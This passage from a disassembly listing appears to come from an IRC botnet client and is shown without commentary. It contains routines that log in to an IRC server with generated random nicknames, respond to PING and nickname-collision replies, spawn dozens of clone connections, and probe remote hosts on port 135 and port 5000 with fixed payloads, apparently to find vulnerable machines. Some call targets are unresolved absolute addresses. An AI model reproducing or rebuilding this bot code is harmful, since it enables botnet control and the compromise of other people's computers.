		jbe	short loc_4179E3


loc_4179DF:				; CODE XREF: sub_417938+90j
					; sub_417938+96j
		and	[ebp+var_8], 0


loc_4179E3:				; CODE XREF: sub_417938+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_4179BB
		cmp	[ebp+var_8], 0
		jz	short loc_417A10


loc_4179F3:				; CODE XREF: sub_417938+81j
		push	[ebp+var_14]
		push	offset dword_4D1170
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437EEC
		push	edi
		push	esi
		call	sub_41C100
		add	esp, 1Ch
		jmp	short loc_417A28
; ---------------------------------------------------------------------------


loc_417A10:				; CODE XREF: sub_417938+87j
					; sub_417938+B9j
		push	offset dword_4D1170
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437F3C
		push	edi
		push	esi
		call	sub_41C100
		add	esp, 18h


loc_417A28:				; CODE XREF: sub_417938+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41797E
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27D08F7h
		push	eax
		nop
		call	near ptr 27C0620h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417938	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A51	proc near		; CODE XREF: sub_417C15+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4C9384
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417ACD
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4C9304
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4C9344
		cmp	eax, esi
		jnz	short loc_417AB2
		push	[ebp+arg_0]
		call	dword_4C9388
		test	eax, eax
		jz	short loc_417ACD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417AB2:				; CODE XREF: sub_417A51+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4C92AC
		cmp	eax, esi
		jnz	short loc_417AD1
		push	edi
		call	dword_4C939C


loc_417ACD:				; CODE XREF: sub_417A51+1Bj
					; sub_417A51+58j
		mov	eax, esi
		jmp	short loc_417AD3
; ---------------------------------------------------------------------------


loc_417AD1:				; CODE XREF: sub_417A51+73j
		mov	eax, edi


loc_417AD3:				; CODE XREF: sub_417A51+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417A51	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AD7	proc near		; CODE XREF: sub_401AC7+3275p
					; sub_401AC7+32DCp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A084 ; "\n"
		push	edi
		call	sub_41C630
		pop	ecx
		mov	esi, offset dword_4D239C
		pop	ecx


loc_417AEF:				; CODE XREF: sub_417AD7+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B0D
		cmp	dword ptr [esi], 0
		jbe	short loc_417B0D
		push	0
		push	edi
		call	sub_41B960
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4C9354


loc_417B0D:				; CODE XREF: sub_417AD7+1Cj
					; sub_417AD7+21j
		add	esi, 210h
		cmp	esi, offset dword_4D8ABC
		jl	short loc_417AEF
		pop	edi
		pop	esi
		retn
sub_417AD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B1E	proc near		; CODE XREF: sub_417C15+152p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDCC ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C864
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B43:				; CODE XREF: sub_417B1E+35j
		push	esi
		push	0
		call	sub_41C864
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B43
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417B6B
		cmp	esi, edi
		jnz	short loc_417B6B
		push	1
		pop	eax
		jmp	loc_417C10
; ---------------------------------------------------------------------------


loc_417B6B:				; CODE XREF: sub_417B1E+3Fj
					; sub_417B1E+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C7E0
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417B95
		lea	eax, [ebp+var_220]
		push	offset dword_438B54
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	short loc_417BEF
; ---------------------------------------------------------------------------


loc_417B95:				; CODE XREF: sub_417B1E+5Fj
		push	offset a433	; "433"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BB6
		push	esi
		push	offset dword_438B50
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C0E


loc_417BB6:				; CODE XREF: sub_417B1E+85j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset dword_438B44
		push	eax
		call	sub_41C006
		add	esp, 1Ch


loc_417BEF:				; CODE XREF: sub_417B1E+75j
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354


loc_417C0E:				; CODE XREF: sub_417B1E+96j
		xor	eax, eax


loc_417C10:				; CODE XREF: sub_417B1E+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C15	proc near		; DATA XREF: sub_417DB7+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C2A0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D23A4[esi]
		mov	dword_4D2398[esi], edi
		push	dword_4D25A4[esi]
		push	eax
		call	sub_417A51
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D239C[esi], eax
		jb	loc_417D97
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C006
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D239C[esi]
		call	dword_4C9354
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch


loc_417CEE:				; CODE XREF: sub_417C15+10Ej
					; sub_417C15+17Dj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D239C[esi]
		call	dword_4C931C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417D97
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417CEE


loc_417D25:				; CODE XREF: sub_417C15+17Bj
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D4C
		cmp	al, 0Ah
		jz	short loc_417D4C
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D4C
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417D86
; ---------------------------------------------------------------------------


loc_417D4C:				; CODE XREF: sub_417C15+119j
					; sub_417C15+11Dj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417D86
		push	dword_4D239C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B1E
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417D97
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417D86:				; CODE XREF: sub_417C15+135j
					; sub_417C15+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D25
		jmp	loc_417CEE
; ---------------------------------------------------------------------------


loc_417D97:				; CODE XREF: sub_417C15+40j
					; sub_417C15+104j ...
		mov	dword_4D2398[esi], ebx
		mov	esi, dword_4D239C[esi]
		cmp	esi, ebx
		jbe	short loc_417DAE
		push	esi
		call	dword_4C939C


loc_417DAE:				; CODE XREF: sub_417C15+190j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DB7	proc near		; CODE XREF: sub_401AC7+31CAp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E30


loc_417DC9:				; CODE XREF: sub_417DB7+77j
		xor	edi, edi
		mov	eax, offset dword_4D2398


loc_417DD0:				; CODE XREF: sub_417DB7+28j
		cmp	[eax], ebx
		jz	short loc_417DE1
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4D8AB8
		jl	short loc_417DD0


loc_417DE1:				; CODE XREF: sub_417DB7+1Bj
		cmp	edi, 31h
		jz	short loc_417E30
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D23A4[esi]
		push	eax
		call	sub_41C620
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D25A4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D2398[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C15
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417DC9


loc_417E30:				; CODE XREF: sub_417DB7+10j
					; sub_417DB7+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417DB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E35	proc near		; CODE XREF: sub_401AC7+3713p
					; sub_401AC7+375Ap ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		call	sub_41C062
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41CF04
		cmp	eax, 1
		jnz	short loc_417E7F
		call	sub_41C062
		call	sub_41C062
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	dword ptr loc_43828B+5[edx*4]
		jmp	short loc_417E98
; ---------------------------------------------------------------------------


loc_417E7F:				; CODE XREF: sub_417E35+2Fj
		call	sub_41C062
		call	sub_41C062
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437F90[edx*4]


loc_417E98:				; CODE XREF: sub_417E35+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C620
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B960
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41CF04
		mov	ebx, eax
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41CF04
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F0B
		cmp	esi, 3
		jnz	short loc_417F02
		cmp	ebx, 1
		jz	short loc_417F0B


loc_417F02:				; CODE XREF: sub_417E35+C6j
		cmp	eax, 1
		jnz	loc_417FC5


loc_417F0B:				; CODE XREF: sub_417E35+C1j
					; sub_417E35+CBj
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41CF04
		push	dword ptr loc_43828B+5[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C620
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C720
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417FB2
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417FB2
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41CF04
		cmp	eax, 1
		jnz	short loc_417FB2
		push	edi
		call	sub_41B960
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41CF04
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417FB2:				; CODE XREF: sub_417E35+111j
					; sub_417E35+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C950
		add	esp, 0Ch


loc_417FC5:				; CODE XREF: sub_417E35+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B960
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DDE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41822D
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418124
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41CF04
		cmp	esi, 3
		jz	short loc_418033
		cmp	eax, 1
		jnz	loc_418124


loc_418033:				; CODE XREF: sub_417E35+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_418075
		push	edi
		call	sub_41B960
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41CF04
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_418091
; ---------------------------------------------------------------------------


loc_418075:				; CODE XREF: sub_417E35+207j
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41CF04
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_418091:				; CODE XREF: sub_417E35+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41CF04
		cmp	esi, 3
		jz	short loc_4180BA
		cmp	eax, ebx
		jnz	short loc_418124


loc_4180BA:				; CODE XREF: sub_417E35+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4180FF
		push	edi
		call	sub_41B960
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41CF04
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41811D
; ---------------------------------------------------------------------------


loc_4180FF:				; CODE XREF: sub_417E35+28Fj
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41CF04
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41811D:				; CODE XREF: sub_417E35+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418124:				; CODE XREF: sub_417E35+1C9j
					; sub_417E35+1F8j ...
		cmp	esi, 6
		jge	loc_4181AD
		cmp	esi, 5
		jge	short loc_418145
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_418163
; ---------------------------------------------------------------------------


loc_418145:				; CODE XREF: sub_417E35+2FBj
		call	sub_41C062
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_418163:				; CODE XREF: sub_417E35+30Ej
		call	sub_41CF04
		test	eax, eax
		jnz	short loc_418186
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41CF04
		mov	cl, 30h
		jmp	short loc_4181A3
; ---------------------------------------------------------------------------


loc_418186:				; CODE XREF: sub_417E35+335j
		cmp	eax, 1
		jnz	short loc_4181AD
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41CF04
		mov	cl, 41h


loc_4181A3:				; CODE XREF: sub_417E35+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181AD:				; CODE XREF: sub_417E35+2F2j
					; sub_417E35+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41822D
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41CF04
		cmp	eax, 1
		jnz	short loc_41822D
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41CF04
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41CF04
		cmp	eax, 1
		jnz	short loc_41822D
		cmp	[ebp+var_C], eax
		jge	short loc_41822D
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41CF04
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41822D:				; CODE XREF: sub_417E35+1B1j
					; sub_417E35+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418246	proc near		; CODE XREF: sub_41827E+125p
					; sub_41827E+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_418274


loc_418257:				; CODE XREF: sub_418246+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DE40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41827A
		inc	esi
		cmp	esi, edi
		jl	short loc_418257


loc_418274:				; CODE XREF: sub_418246+Fj
		xor	al, al


loc_418276:				; CODE XREF: sub_418246+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41827A:				; CODE XREF: sub_418246+27j
		mov	al, 1
		jmp	short loc_418276
sub_418246	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41827E	proc near		; CODE XREF: ___:0040DFC8p
					; ___:0040E0B1p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C2A0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_4182BF
		dec	eax
		jz	short loc_41829D
		dec	eax


loc_418297:				; CODE XREF: sub_41827E+57j
		xor	eax, eax


loc_418299:				; CODE XREF: sub_41827E+3Fj
					; sub_41827E+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41829D:				; CODE XREF: sub_41827E+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4C9344
		push	eax
		call	sub_40C336
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_418299
; ---------------------------------------------------------------------------


loc_4182BF:				; CODE XREF: sub_41827E+13j
		push	6
		push	1
		push	2
		call	dword_4C9384
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_418297
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4C9304
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8E4
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4C92AC
		cmp	eax, edi
		jz	loc_4183DB
		push	ebx
		push	48h
		push	offset dword_438B9C
		push	esi
		call	dword_4C9354
		cmp	eax, edi
		jz	loc_4183DB
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4C931C
		cmp	eax, edi
		jz	loc_4183DB
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_4183DB
		push	ebx
		push	18h
		push	offset dword_438BE8
		push	[ebp+arg_4]
		call	dword_4C9354
		cmp	eax, edi
		jz	short loc_4183DB
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4C931C
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4183DB
		cmp	[ebp+var_200E],	2
		jnz	short loc_4183DB
		push	10h
		push	offset loc_438C04
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418246
		add	esp, 10h
		test	al, al
		jz	short loc_4183BB
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_4183DB
; ---------------------------------------------------------------------------


loc_4183BB:				; CODE XREF: sub_41827E+12Fj
		push	10h
		push	offset dword_438C18
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418246
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_4183DB:				; CODE XREF: sub_41827E+9Bj
					; sub_41827E+B2j ...
		push	[ebp+arg_4]
		call	dword_4C939C
		mov	eax, ebx
		pop	ebx
		jmp	loc_418299
sub_41827E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183EC	proc near		; CODE XREF: sub_401AC7+BC3p
					; sub_401AC7+C00p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_418477
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_418477
		cmp	[ebp+arg_8], esi
		jz	short loc_418477
		cmp	byte ptr [eax],	0
		jz	short loc_418477
		push	ebx
		push	edi
		call	sub_426340
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_418472
		push	[ebp+arg_4]
		push	edi
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41846B
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BD70
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B960
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C950
		push	[ebp+arg_4]
		call	sub_41B960
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C630
		push	ebx
		push	edi
		call	sub_41C620
		add	esp, 30h
		mov	esi, edi


loc_41846B:				; CODE XREF: sub_4183EC+3Cj
		push	ebx
		call	sub_41BA31
		pop	ecx


loc_418472:				; CODE XREF: sub_4183EC+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418479
; ---------------------------------------------------------------------------


loc_418477:				; CODE XREF: sub_4183EC+Cj
					; sub_4183EC+13j ...
		xor	eax, eax


loc_418479:				; CODE XREF: sub_4183EC+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4183EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41847D	proc near		; CODE XREF: sub_40194F+E9p
					; ___:00410CB2p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BD10
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B960
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_4184B3
		or	eax, 0FFFFFFFFh
		jmp	short loc_418526
; ---------------------------------------------------------------------------


loc_4184B3:				; CODE XREF: sub_41847D+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_4184D5


